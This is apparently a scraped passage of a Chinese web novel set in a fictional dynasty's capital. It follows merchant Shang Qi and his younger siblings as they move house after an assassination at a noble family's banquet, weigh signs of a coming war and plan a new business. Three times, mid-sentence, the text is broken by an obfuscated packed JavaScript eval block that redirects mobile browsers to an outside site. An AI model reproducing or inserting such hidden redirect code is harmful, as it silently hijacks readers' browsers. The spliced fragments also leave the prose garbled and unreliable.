按说寿宴客人是不会带兵器的,寿宴上倒是有切肉用的熟肉刀,可大家都是有身份的人,谁会用熟肉刀动手。 除非,有人行刺。 这回寿宴过来的贵人颇多,真要行刺死了国公侯爷就罢了,宴上可有皇家血脉,王爷不说太子也在场,行刺储君和行刺皇帝都是诛九族的事,而别家又是这场宴会的主办人,无论行刺者跟别家有没有干系,也都逃不过责罚。 “重慈勿要多想,今日来客本就不正常,父亲和阿兄想必早有察觉,有应对之法。”别此云到祖母身边宽慰,寿宴当然来了这么多不该来的人,只怕是有心人故意叫来的,为的就是见证这场祸事。 “如何不多想,前些日子你阿翁从皇宫回来,说是太子前不久办差除了差错,受了陛下责骂,令其闭门思过。 好容易求了恩典,今日到家里来贺寿,又发生这档子事,若此事又同太子扯上关系,只怕太子的位置要不稳了。” 别家是皇帝邀上太子这条船的,尽管太子跋扈,但甚少干蠢事,若能顺利登基别家自然少不了好处。 而皇帝其他有本事挣皇位的儿子,不是蠢货就是废物,这么多年太子之位稳固全靠菜鸡互啄。 别此云却不认为皇帝会轻易换太子,首要一个太子是早逝皇后留下的独子,年少夫妻情分比过后宫三千佳丽,其次太子也算是矮个里拔高个,除非皇帝膝下幼子有长成的人才,不然太子就是最佳人选。 当然,若是太子自己犯蠢做些犯了皇帝忌讳的事,也怪不得旁人,不是有言坏人绞尽脑汁不如蠢人灵机一动,而太子少干蠢事不代表不是蠢人。 和内宴人心惶惶不同,外宴的气氛可称之为危机四伏,那些只想过来结交大人物的小官员们更是恨不能脑袋埋地,班点不敢掺和眼前的局势。 宴席正中央的大人物,特指太子和几个王爷个个倒是笑面虎,眼前躺了一具死不瞑目的尸体,血还继续从脖颈的伤口往外流也丝毫不影响他们之间的针锋相对。 别洵松和别景季守在别老太爷身边,面色难堪,今个儿别家是要倒大霉了,死的人穿着别家侍人的衣着,干了掉脑袋的大事。 若在外宴放开前没查出凶手,别家一家老小都要下狱,当然太子在场,别家不会轻易被定罪。 苦主明摆着也不是冲别家去的,不过能够顺道解决别家也是乐见其成。 太子勉强挂着笑,今日太傅寿宴他来祝寿本也是想给父皇看看他尊师重道,奈何平白惹了一身骚。 也不知道是哪个弟弟一拍脑袋想出来的行刺主意,不说太傅一家都是太子党,就是太傅不站他这一边,也不该如此愚蠢,寿宴行刺。 而太子的侍卫和别家的下人也给力,很快找到了被打晕换了衣裳的下人,至于寿宴死的那个究竟是如何混进别家的,就看别家怎么给皇帝解释了。 “今日是本太子先生的寿宴,竟然出了这样令人不愉快的事,实在是扫兴。”太子一发话,就昭告事情了结。 “该是老臣的错,竟然在寿宴上叫太子受了惊,有关行刺者背后的人别家一定尽快查出来,给太子殿下一个交代。” “别太傅此言差矣,长安城到底还是有京兆尹管事,太子遇刺该叫京兆尹来接手,京兆尹不够格就叫大理寺、刑部的人来,单叫别家搜查万一贼喊捉贼,岂非是把太子的安危置于险地。”庄王慢悠悠发话,明摆着想把这事闹大。 “五弟此言有理,这事的确要刑部和大理寺彻查,给太子和父皇一个交代。”平王煽风点火,其余诸位兄弟亦是附和,一时之间倒看不出是谁出的馊主意。 “如此就让大理寺的人尽快过来,盘问清楚也好叫诸位大人早些回去,想必内宴的娘子郎君们也吓的不轻。”太子不管这事是谁想要借他之手栽赃嫁祸,总归宴会他是一刻也不想待下去了,谁知道几个兄弟是不是真的想让他死在寿宴上。 好好的寿宴最后由大理寺卿带人上门为止,也叫遣人关注别家动向的尚柒陷入沉思,大理寺承办要案,一般出动少卿就不得了,竟然还是大理寺卿亲自登门,光是阵仗就能看出别家寿宴乱子不小。 还多半出了人命。 果不其然,第二日,长安各坊市就悄摸传出别家寿宴当日,有人行刺太子,至今还没寻到凶手的消息。 要说消息没人推波助澜传播,尚柒是不信的,毕竟行刺一事也极为敏感,若是行刺王爷就罢了,到底不是名正言顺的继承人,可行刺的是太子事性质就变了。 储君安危也是封建社会是否稳定的因素之一,寻常百姓未必知道太子究竟如何尊贵,但太子日后要当皇帝是天下共识,若连储君安危都无法保障,大历之外的国家如何不蠢蠢欲动。 “别家人如何?” “大理寺卿审讯后,便带着行刺之人的尸体离开了,当日凡和行刺者有接触的人也都被抓走,至于别家人倒是没听说怎么样,当夜送走各路大人后,便朱门紧闭,除开采买的婆子,再不见人进出。” 不出所料,别家牵扯进行刺案,为必风头肯定要夹起尾巴一段时间,甚至几位在朝为官的大人也要告假在家休息。 短时间内别此云应该出不了别府。 “阿兄,宅子已经收拾好了,咱们什么时候才搬进去?”尚南枝忙碌几日,已经把四进院的大宅打理干净,人手也都安排进去,已然是能住人的地方。 “什么时候都可以。”时下乔迁新居的确讲究时辰,但尚柒做事一向随心,暖酒宴都不打算办。 主要是尚柒在长安不认识什么人,跟来的商队汉子大部分也都被遣回礼县,且长安的宅子指不定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400978|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能住多久,算不上家。 “那不如就今日,正好我在金玉满堂定了一桌酒宴送到府上。”显然不是什么正好,而是尚南枝明知道询问阿兄会得到一个都可以的答案,干脆提前做了准备,也算是给阿兄和乌桕一个惊喜。 “金玉满堂还有功夫送席面?”尚柒并不意外尚南枝的雷厉风行,而是疑惑金玉满堂还能做外送生意,单是这段日子他去金玉满堂的次数,就能看出金玉满堂做堂食生意都忙不过来。 “这几日长安好像出了什么事,金玉满堂的生意都寂寥了不少,我原是打算搬完家干脆到金玉满堂吃酒的,便差人提前去定包房,后头发现金玉满堂近来客人不多,就问能否送席面到家里,没成想他们答应了。” 尚南枝不知道金玉满堂有没有做过外送生意,但对方能答应可见金玉满堂的东家是个头脑不错的人,合该日进斗金。 没成想竟然是这个原因,一个行刺不光叫别家龟缩不出,其余权贵只怕也叮嘱了家里人,近日不要出门晃悠,怕惹了腥臊。 “时候不早了,叫阿大他们收拾收拾退房,不然席面该冷了。”有尚柒一句话,下面的人动起来很快。 唯有陈家客舍的老板颇为不舍,若非是他做客舍生意不是租聘生意,早就让尚柒租了他的房子,落个清净。 房钱结清,尚家的马车就慢悠悠的从金城坊往常乐坊去,尚乌桕自然兴奋的不得了,说来新宅是什么模样他还不曾见过,只听阿姊说没有老家的宅子大。 “我的药房阿姊你没忘吧。”尚乌桕学医术,认药制药都是少不了的,礼县有尚家开的医馆,平日尚乌桕得空就去跟坐诊大夫学两手,到了长安这事是撂下了。 “没忘,只是药柜难打,我寻了几个木匠紧要打了需用的物件,药柜还要等些时日才能送过来。”反正药材都卖完了,等新药材到长安少说两个月,有个药房吊在尚乌桕跟前就够了。 “成吧,等药柜打好送过来,我们正好去长安郊外采药踏青。”他都好久没上山了,以前在长平村可是隔三差五就要去地里山上认识草药的。 “可我听说长安郊外都是有主的。”寸土寸金的地界,莫说山头,就是河段归属都挣的头破血流。 “啊?那我要采药难不成还得买座山?” “我不打算在长安做木材生意。”尚柒打断尚乌桕的胡思乱想。 “当然不做木材生意,一座山头的木材一口气砍光才有多少钱,一座山头买下来要花多少钱我还是分得清楚。”买阿兄定然买的起,不然刚才阿兄就不是说不想做木材生意,而是说囊中羞涩了。 “你若真的想上山采药,等几日友人登门拜访,我问问他。”别此云说他在长安郊外有一处私观,想必以别家的手笔,私观的山头也一并给了别此云。 “友人?阿兄何时在长安交友了?”尚乌桕和尚南枝面面相觑,没记错整日在长安上蹿下跳的是他俩,阿兄谈生意都在客舍呢。 尚柒但笑不语,叫两个小的抓心挠肝,直到马车到了新宅都没问出个所以然。 9. 意外发现 尚家人入住新宅的动静不大,新宅也非是世家朱门大户的构造,算是长安城里低调的住宅。 尽管如此,尚家左右邻居也都收到尚家入住的消息,苏府这头最先来人送乔迁礼,将尚南枝打了个措手不及。 “我原以为当官的人家看不上咱们家呢,没成想咱们才到宅子贺礼就送上门了。”尚南枝清点了一下贺礼的数量,虽不清楚京城规矩,但送礼的人未曾有轻视之意。 “那咱们肯定要回礼。”尚乌桕装作小大人模样,“我这次出门带了一些对姑娘哥儿身体好的药丸,可以给阿姊救急。” 如果在礼县,尚南枝能拿出来回礼的东西肯定不少,但这次上长安来的突然,也没带什么好东西,若是回馈金银,又怕叫人觉得满身铜臭,失了礼数。 “都没诊过脉就敢送药,阿兄就是这样教你医术的?”尚南枝板着一张脸,她们家的药肯定都是顶好的,但当官的肯定对入口的东西有忌讳,她们面都没见,贸贸然送药,吃出问题怎么办。 “不过是些补气血的药丸,吃不出问题,不过阿姊你说的也对,没堪过脉,是不好送药丸。”尚乌桕还没出师,但瞧行事风格多半胆大,若是医术不够硬,日后少不得要挨揍。 “这次带来的药材还有剩,你选几样富贵人家喜欢的出来,明日我遣人送过去。”药丸不成,药材却是可以送的,尤其是上了年份的药材,人生灵芝都是救命养生的好东西。 “等我吃完饭。”尚乌桕肚子已经饿的咕咕叫了,在客舍就听阿姊说有金玉满堂的席面送过来,他期待的不得了。 长安的酒楼也吃过不少家,口味参差不齐,最好的还是金玉满堂,只是金玉满堂价格实在昂贵,没有阿兄出钱,尚乌桕手里那点积蓄不过几日功夫就能挥霍的一干二净。 “算时间快到了,我去前院瞧一瞧,你去叫阿兄。”尚南枝指挥人把苏府送来的乔迁礼入库,又匆匆往前院去。 尚乌桕则是一蹦一跳的往阿兄的院子去,四进院的大宅里一共三四十人,听着多,一路走过却连个人影都没看见。 不像老宅,虽然也大,但一路上都能遇到做事的哥哥姐姐,若之后要一直待在宅子里学医术,他一定会闷坏的。 也不知道左右邻居是否有适龄的孩子,不然只能缠着阿兄阿姊隔三差五带他出去玩了。 小院里。 尚柒正在将箱子里的书整理到书架,其中医书并不多,多还是科考用的书籍。 真要算起来尚柒并不多喜欢读书,奈何到了一个万般皆下品惟有读书高的时代,逼得他博览群书。 按大历律,商户不得为官,但上有政策下有对策,民间商户出身又有锦绣才华的人不少,大历前几任皇帝又爱惜人才,便给了商户子弟一个干谒的机会。 若有才华,可通过向达官显贵献干谒诗扬名,若能得达官显贵喜爱,同皇帝进言也能得一个科考的机会。 只是尚柒不太会作诗,五言七律的规则是弄明白了,但天底下读书人都知道,也没见几个作出好诗。 亏得尚柒后来慢慢探究出如今的大历已经苟延残喘,否者为了谋求一个做官的机会,说不定要得罪某位老人家,借他人的诗词寻一个进步的机会。 “阿兄,你收拾好了吗?阿姊让我来催你去前厅吃饭。”尚乌桕从门外冒头,小嘴一刻都停不下来,“隔壁苏府的夫人还给咱们送了乔迁礼,阿姊准备用药材回礼,咱们是不是要寻个机会登门拜访一下。” “左右邻居的孩子最大不过六岁,每日在家中由先生开蒙,没空同你玩闹。” “什么,阿兄你什么时候打探的消息。”尚乌桕的表情好似晴天霹雳。 “买房时问的牙侩。”初入长安,他自然要将邻居打探清楚,若是邻居性子不好也不必费心思往来。 “那岂不是大半年都没人同我玩了。”在长平村,村里的孩子跟他每日都要去学堂的,虽说是读书,但大家伙下学后山上山下的跑,最逍遥自在不过。 “我只问了左右邻居,其余略远一些的街坊没打探过,总不会一个适龄的孩子都没有。”尚柒不继续打击幼弟,走到门口揉了揉人的脑袋,“有空叫守义或者德顺带你到巷子走走,说不准就遇上玩伴了。” “好吧。” 两人又边走边说了会话,等到饭厅,尚南枝已经叫人把金玉满堂的席面布置好了。 “阿姊,你这又是鸡又是鱼的,阿兄哪怕再能吃也吃不完。”一家子就三口人,尚乌桕和尚南枝困于年纪,再能吃也有限,倒是尚柒正是能吃的年纪。 “嫌多?那你少吃些,我和阿兄两个人就能解决完。” “骗人。”尚乌桕落座,没有他阿兄阿姊一定吃不完。 尚南枝哼哼了两声,便不在计较。 尚家吃饭自然不讲究食不言寝不语,不过尚柒话一向不多,若没有特意开口的事情,饭桌上多半只有尚乌桕和尚南枝斗嘴的声音。 “对了,阿兄,厨房我寻了人重修,但长安的厨娘不会用铁锅,你有空指导一下。”尚南枝不会做饭,也没空学做饭,全家会用铁锅做饭的只有阿兄,不过手艺也一般。 “嗯。”尚柒也受够了长安炖菜,能够自家开火最好不过。 “金玉满堂做的菜明显就是铁锅炒的,阿姊你说过厨娘都是大户人家犯了错发被卖出来的,怎么不会用铁锅。”尚乌桕对世家了解不多,但也晓得世家最会享受,金玉满堂都用铁锅做饭了,世家还会吝啬让自家厨子学怎么用铁锅吗? “长安的大户人家也分等级,我看阿兄买回来的几位都不像是世家出身。” “这样看,铁锅连一般官宦人家都用不起?这可是长安,铁器再贵能贵到哪里去。”尚乌桕咂咂嘴。 “也许不是用不起,而是长安城内缺铁?”尚南枝这话说的有几分不确定。 尚柒的筷子也停下,长安城内缺铁可不是个好兆头,大历铁矿开采法子老套,冶铁技术也不高,造成铁矿利用率低下。 盐铁官营后,价钱虽居高不下,但一般有钱还是能置办,世家自己肯定囤积的有铁矿,造口铁锅也不算什么,寻常官宦人家,若是没有背景只能从官府添够,官府没有铁出售,自然买不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400979|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到铁锅。 “可问过铁匠,这种情况出现多久了?”官府缺铁多半是紧着军队用度,西南西北东北各方未曾听说有动兵的情况,莫不是广运帝嫌日子太舒服,准备在最后关头寻点刺激,收回之前丢失的国土? “铁匠说有一段时间了,因为缺铁生意都不好做了。”尚南枝说完转头见阿兄面色不佳,“阿兄,可是要出大事?” “暂时不会。”皇帝真要动兵,不会一直风平浪静,因为军队消耗的是国库的钱,朝中大臣肯定不乐意自己的油水跑到军队手里。 尚南枝将信将疑,可又见阿兄恢复正常只当是自己多疑,殊不知用过饭后,尚柒便回到自己院子的书房,拿出粗绘的大历舆图。 他地理学的一般,只能画个大致轮廓,又因为这十数年在西南长大,近几年来生意也扩张到整个西南,这份舆图上西南已经填充完毕。 他从西南离开的时候,西域胡商一切如常,若沙漠草原出事,商人一定是最先察觉的。 西南边境的土人更不可能突然攻打西南,不说西南易守难攻,单是西南外的土人也就比茹毛饮血好一点,根本比不上大历军队。 如此真正可能动兵的地方是东北,至于是打东突厥还是室韦就看广运帝的想法。 —————————— 别府。 梧桐苑比往日更清净,别家人闭门不出,在朝为官的几个大人都在等大理寺审查完行刺案,找出凶手后去皇帝面前认罪。 大抵会削别洵松的官位再罚俸一年,比起别家被按上行刺储君的名头,已经好上太多。 不过别看别家像是个任人揉搓的软柿子,等风头过去别家人必定是要报复回去的,主要还是这回被打了个措手不及,谁也想不到有人敢在别家寿宴上动这样的手脚。 当然别此云隐隐约约的猜到了,只是他一个哥儿,手中又没有证据,父亲和阿翁是不会信他的,左右不会动摇别家根基,别此云作壁上观,当是给别家一个惊醒。 “公子,书墨通过采买的婆子递了信过来。”琴砚从外院过来,如今别家人都被勒令不许出门,唯一传信的口子当然得安排公子的人。 拆了信封,别此云一目十行看完信件,眉心高皱,信上主要写了青麦酒的账册有问题,前两年东北一带青麦酒卖的很好,今年账册上登记售卖酒水数量锐减。 对过前两年的账册,发现是东北一带的军队今年没有派人出来采买。 大历军队是禁酒的,但东北冬日严寒,需要喝酒暖身,而大历因为酿酒技术不够好,酒水都寡淡的很,青麦酒度数有高有低,卖去东北一带度数都颇高,很受军队欢迎。 今年军队突然不买,要么是军队没钱了,要么是军队在筹备整军。 这也是军队不成文的规矩,驻守的时候喝些酒便算了,战时饮酒都是要掉脑袋的。 按别此云的想法,东北军队该是要趁着夏季攻打东北一带的外族,不管什么原因,只要动兵,几家夺嫡的王爷必然会掺和。 广运帝究竟是突发奇想,还是在加剧皇子间的夺嫡冲突。 10. 生意 苏府。 “郎君,尚家送了回礼过来,我瞧着都是上好的药材,便做主收了。”侍女话里说是做主,其实也是揣摩了主人的心思。 赵厢无论是否想和尚家交往,示好的态度肯定表明不想交恶,而尚家人也知情识趣,回礼送的恰到好处,既不敷衍也不谄媚。 “尚家主事的是谁?”赵厢也喜欢聪明人,送去乔迁礼,除开邻里交好,也有试探尚家品行的意思。 “门房那边打听来的消息说,尚家有兄妹三人,做主的是尚家大郎,新宅是由尚家二娘操持,尚三哥儿年岁还小。” “商户人家,人口是要简单些,平日多看顾几分。”尚家虽然是生意人,但做的是药材生意,说不准日后有急事相求的一日,能有一二人情往来,也是多条后路。 “是。” 这头有苏府人出面后,尚家另外两家邻里也都送了乔迁礼,东西都挑不出错,尚南枝同样回了药材,不过没有登门拜访。 “阿兄,咱们在长安只做药材生意吗?”尚南枝盘算手里的钱财,只要不是一掷千金花销到过年不成问题,可药材生意须得等药材从礼县送过来,中间空闲两个月,岂非是坐吃山空。 “想在长安做长久生意?”尚柒自然也是有想法的,奈何发现广运帝可能要发兵,又只能先按兵不动。 打仗不是小事,但也不是说打仗就不能做生意,世家大部分都是发战争财起来的,若是有心和军队搭上关系,待军队的人回来,替他们销脏都能分不少利润。 不过有个前提,大历得打胜仗。 “有一些,虽不知阿兄是否打算长久留在长安,但要是能在长安多置一点产业,也多一条出路,不是吗?” “那你觉得咱们能在长安做什么生意?”尚柒没说兵戈之事,有心考较南枝。 “唔,原本想着开间医馆或是开间酒楼,但我这几日在常乐坊走动,发现长安的医馆利润不高,要想赚钱就得阿兄坐诊,想来阿兄也是不乐意的。 至于酒楼生意,能做也是能做,但缺厨子,除非阿兄把礼县的厨子调到长安来,否者咱们的酒楼竞争力也不大。” 只见金玉满堂的生意火爆就知晓长安城里不缺客户,偏偏厨子难寻,就说铁锅菜,不是靠阿兄张张嘴就能训练出一位手艺大厨。 礼县倒是有现成的,但不提人家愿不愿意千里迢迢来长安做事,单是等人过来就要两个月,生意一时间做不起来。 “还有呢?”显然尚柒不满意上面两条。 “皂类生意需要动物内脏,若不是自己养殖货源不够稳定。”可要在长安弄养殖场,成本又太高。 “长安城人手如何?” “长安人口多,每日花销比之礼县更甚,寻常人家没有一份谋生的活计,几乎无法在长安城内生活。”自然长安城内肯定也有贫民窟,但也是相对而言,好歹天子脚下,乞丐数目都不算多。 “人手充足,除去小生意,也可以考虑大生意。”尚柒提示。 “阿兄是说布匹生意?”尚家的大生意,除了药材外,主打就是棉布,棉花,是极为保暖的织物,大历境内除去西南还没有其他地方种植。 而棉花生意,尚家目前也只开了个头,主要还是驯养种子费了不少时间,西南地也不多,又要种粮食又要种药材还要种织物,若非是阿兄有肥田的法子,不必休耕,真还一口气满足不了。 “是也不是,,棉花原材料不够,且在西南织成布料贩卖到长安成本更低,除非关中也种棉花,否则在长安开个布行就够了。”棉花是好东西,但种植数目不够,短时间成不了气候。 “棉花不行,难不成要做白叠布?”阿兄曾说白叠是棉花的一种,早年从西域传入中原,是时下流行的布类之一,倒是不清楚关中种白叠的数目,但长安做布匹生意的不在少数,白叠布又是硬通货,只怕她们轻易插不上手。 “白叠民间少有种植,多在世家手里,布匹和粮食都能作为货币使用,是世家立足的根基,真想要插手也等咱们在长安有了靠山再说。” 话说到这个份上,尚南枝哪里还不知道阿兄早有成算,且还是门新生意,可与布匹有关,她实在想不到还有什么布帛的原材料没有世家插手。 “大历喜吃羊肉,长安一日宰杀的羊便上百,而羊毛却没人收购。”或者说也有人用羊毛做毡毯之类的东西,但羊毛毡百姓买不起,可见羊毛的利用率也就那样。 “羊毛做衣物?我只见过羊裘,羊毛要如何做衣物?”尚南枝是见过活羊的,羊毛瞧着脏,手感也不好,做成衣物味道怕也不好闻,阿兄这是打算做百姓生意,薄利多销? “自然是需要一定手法处理,不过也不难,你只管想想咱们真的要做门生意,该如何在长安招聘人手。”总归在长安没事做,要是广运帝并非是大动干戈出兵,做点生意赚点钱,也不亏。 之后要是做不下去了,想必别此云也乐意接手。 尚南枝接过阿兄的任务,开始到长安各个坊市打探情报,有一个小的忙起来,另一个小的可不就孤零零一个人。 要不到十岁的孩子成日坐在书桌前看书是不可能的,更不说尚乌桕天性爱动,若非是日后想要做个大夫的信念够坚定,每日医书都是看不进去的。 搬进新宅不过三日,尚乌桕已经把新宅里里外外的地盘都逛了个遍,甚至宅子有几个狗洞,几个老鼠洞都摸了个清楚。 “不能这样下去了。”尚乌桕在书桌前喃喃道,随后露出一双期望的眼睛落在阿兄身上。 “下午我带你去巷子走走。”尚柒投降,近来他也没什么事做,再不陪陪尚乌桕,小孩就要闹翻天了。 “守义哥和德顺哥跟着阿姊每日跑进跑出,没有空闲,只能叫阿兄你陪陪我了。” 长安不是长平村也不是礼县,一般娘子郎君上街若非是在热闹的街市,都有被恶霸纨绔调戏抢劫的风险,更不说几岁的孩子,遇上拍花子的,一手捂嘴,一手抱人,外人都察觉不到孩子就丢了。 “那就尽快把剩下的背完。”尚柒轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400980|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,到底是小孩子。 按照这个时代的规矩,哪怕是商户,身边也该跟两个伺候的人,只是尚柒不习惯,乌桕南枝也跟着不喜欢人伺候。 午时过后,天气越发的热,尚家住的巷子有棵大树,平日里孩子多聚拢在此玩耍。 尚柒带着尚乌桕过来的时候,已经有几个小孩聚拢在一块斗草。 尚乌桕看的眼热,无奈手里没有收集的花草,只能围观,要知道在礼县,他既认识野草又认识药材,与旁的小孩斗草从来都是战无不胜的,可惜眼下巧妇难为无米之炊。 好在他出门也有准备,手里拿着阿兄在礼县给他做的木陀螺,他还把阿姊的也一块带了出来,可以叫人同他一块玩。 “过去同他们玩吧,我就在这儿。”尚柒已经过了玩闹的年纪,在大历也是大人了,凑到小孩堆里,孩子们该玩的不自在了。 就是热了些,出门的时候该带把纸伞,或许也该在带个板凳,昨日没看完的手札也该带上。 想着想着尚柒有些走神,耳畔传来尚乌桕嘻嘻哈哈的声音,可见小交际能手已经完美的融入进去了,也不知太阳落山前能不能尽兴。 过了片刻,尚柒回过神突兀的对上对面墙头的眼睛,远远瞧着是个五六岁的孩童,墙另外一边该是有梯子,不然这样小的孩子也爬不上墙头。 尚柒又看看了这墙的归属,明了是苏府的孩子。 “院里没其他人拦着你?”尚柒同小孩搭话。 “我偷跑过来的。”小孩也不怕生,脆生生的跟尚柒唠起来,“你是哪家的少爷,我怎么没见过。” “前几日新搬过来的,就在你家隔壁。” “尚府的人?”显然小孩从大人口中听过隔壁的新邻,“我想跳下来,你能接住我吗?” “应该不行。”非是尚柒手无缚鸡之力,而是贸贸然接人孩子,等大人过来可说不清楚了。 “你不会武?”小孩眼睛里透露出惊讶,毕竟大历尚武,文官撸起袖子都能干架,膝下的孩子也都是打小习武骑射。 “会,但我若接住你,你阿耶知道了会不高兴。”不说这个时代的危险性,单是上辈子尚柒也是会武的,家里几代传医,会点拳脚功夫再正常不过。 “好吧,那我阿耶要是同意呢?”小孩看来非要个答案。 “若是你阿耶同意当然可以,不过比起从墙上下来,你阿耶想必更希望你从正门出来。”果然五六岁的小子胆子比天大,还敢问家长同不同意从墙上下来,也不怕问了吃一顿竹笋炒肉。 “正门太远了,墙上快一点,我也想和他们玩。”小孩开始装可怜,奈何尚柒心比石头硬,没有人家大人的同意,轻易是不会拐小孩的。 “要你阿耶同意。” 小孩没得到想要的答案,哼哼唧唧几声,摇摇晃晃的准备下楼梯,只是梯子搭的不怎么稳定,人才双手离墙就有向后倒的趋势。 电光火石之间,尚柒一个纵身跃上墙头,一把抓住小孩的胳膊,连人带梯拉了回来。 11. 交友 显然小孩被拉回来都还没反应过来,只愣愣的扒在墙头。 “我抓着梯子,你慢慢下去。”尚柒坐在墙头上,一手稳住梯子,“下次不要随意爬梯子,今日你若摔了放梯子的人该要受罚了。” 民间住宅的墙不算很高,梯子地下都是泥土,真摔下去大事不会出,小伤少不了,到时候不光放梯子的人,连伺候小孩的下人也少不得一顿责罚。 “我知道了。”小孩显然也明白这个道理,面色微白的慢慢爬下梯子,见人安全落地,尚柒也不打算继续做墙上君子,不然叫苏府的人看到了还以为隔壁邻居有什么恶习。 “尚大哥,明日我能到府里去玩吗?”落地的小孩抬头,崇拜又希冀的望着尚柒,显然刚刚上墙救人的举动已经收服小孩。 “只要你阿耶答应。”尚柒说完跳下墙,抖了抖衣摆,到了长安后,因为住在客舍已经许久没有锻炼,明日该重新捡起来。 日薄西山。 尚乌桕小脸红扑扑的跑到尚柒跟前,怀里抱着的两个木陀螺伤痕累累,可见下午几个孩子没少折腾。 “阿兄,改日你多做几个木陀螺我想送给新朋友。”这等手艺活尚乌桕还没学会,在礼县除开阿兄,村里不少叔伯都会点的木匠手艺,木陀螺也不难做,家家户户长辈都能给自家孩子弄出来。 但长安的人,少有会做的,就算摸索能做估计也做不好。 “明日叫阿大寻几块木料回来给你做。”这活不难,正巧尚柒闲来无事做,“对了,明日隔壁苏府的小孩可能会过来玩。” “那个六岁的?”尚乌桕显然耿耿于怀左右邻居只有一个六岁的适龄玩伴。 “嗯。”苏家夫夫二人膝下只育有一子,平日管的严厉甚少出门,明日来不来得了尚柒也不确定。 “唔,那我要多准备几个玩具。”尚乌桕已然拿出做兄长的架势,“还要有糕点,阿兄明日去甜品屋买些糕点回来待客。” “你倒是会使唤人。”尚柒不嗜甜,少有想吃的时候,甜品屋的糕点又卖的不便宜,尚乌桕自己钱不够,平日嘴馋也只能忍忍,谁叫阿兄怕他吃多了坏牙,一月定了只买两回。 “待客之道阿兄怎么还要我教你,小孩子就是喜欢吃甜的。”尚乌桕理直气壮,如果来的客人同阿兄一样大,他或许会劝阿兄去订金玉满堂的席面招待,可来客是小孩子,他有发言权。 “来不来还不一定。”尚柒没咬定要给买,但尚乌桕已经看出松口的意思,立马兴匆匆的往家里去。 新宅的厨娘对铁锅也渐渐上手,都是有手艺的人,不说一点就成神厨,但做出来的东西不会难吃。 可能起初炒菜味道还不好把握,但铁锅又不是不能做炖煮菜,于是厨房开火后,尚柒几乎就没带弟弟妹妹去外面吃了。 尚南枝有时候正午忙回不来,倒是自己在外面解决,不过依尚柒的了解,怕也是在街边摊落脚,少有去酒楼开销。 夜里,书房的烛火燃的正旺。 “大理寺可有动静了。”别府寿宴已经过去好几日了,眼瞧这案子不会拖延太久,该有个结果才是。 “今日大理寺遣人查封了几处宅子,经打听多是户部的官员,像是结案了。”冯风已然在长安混开了,明面上的消息一准都打听到了。 “户部?”尚柒一顿,行刺一事多半抓不到凶手在他预料范围之内,可替罪羊怎么都选户部的官员。 户部管国库,广运帝这时候隐隐有发兵的迹象,现在抄了户部的底,是打算安排自己的人进去不成。 “的确是户部,官位最高的是正四品的户部侍郎。” 行刺储君想要草草结案,折一个户部侍郎进去已经算少的,也不知这位户部侍郎站哪一边,被推出来当替罪羊。 “大理寺不必盯了,若有别家的消息再通知我。”尚柒没有试图通过甜品屋联系别此云,此时别家算是长安的众矢之的,别此云费尽心思遮掩身份,大抵也不想在关键时候露馅。 “是,东家。”冯风得了吩咐,便回前院休息了。 尚柒敲了敲手里桌子,不出预料,等大理寺结案别此云就会过来。 翌日,上午。 尚乌桕正在费劲的背书,前院就过来人传话,说是隔壁的小郎过来了。 想是这位赵郎君知道家里主事的内眷不在家,也不曾跟过来,只叫了身边嬷嬷和几个下人跟着。 “尚大哥。”苏家小郎见着尚柒快步过去,“我过来玩了。” “宅子才买下来,只简单收拾了,刚能住人,招待不周。”尚柒对苏家小郎点了头,又同苏家小郎身后的嬷嬷说话。 “尚东家客气了,该是我等叨扰才是。”管事嬷嬷说着又示意身后的侍女将食盒递过来,“都是庄子上的一些时令蔬果,一点薄礼还请尚东家收下。” “客气了。” 尚柒拎着食盒,走在后面,前头尚乌桕和苏家小郎倒是很快搭上了话。 苏家小郎因为是独子,左右邻居家也没有适龄玩伴,巷子家里人也不肯让他去,见着尚乌桕可算是迸发了挤压许久的热情。 哪怕尚乌桕比苏家小郎大了三岁多,竟然也能说到一处去。 “原来你每日要读这样久的书,幸好我日后不考官,只想做个大夫,不然一整日都要念阿兄读的书,人都要疯掉了。”尚乌桕后怕的拍拍胸口,虽说医书也不容易学,但阿兄没一整日都逼着他念,平日也多带他去认识药材,诊治病人,比埋头苦读好多了。 “你想做大夫?”苏家小郎还没见过哥儿做大夫,平日里来家里的大夫都是白胡子一把,瞧着就吓人。 “不错,我家做药材生意,我阿兄是西南有名的大夫,我可是要继承我阿兄衣钵的。”尚乌桕说的煞有其事。 尚柒沉默,按照年纪算,他也就比乌桕大了几岁,尚家上几辈都是天灾人祸走的,也看不出是否长寿,等他没了尚乌桕再继承衣钵 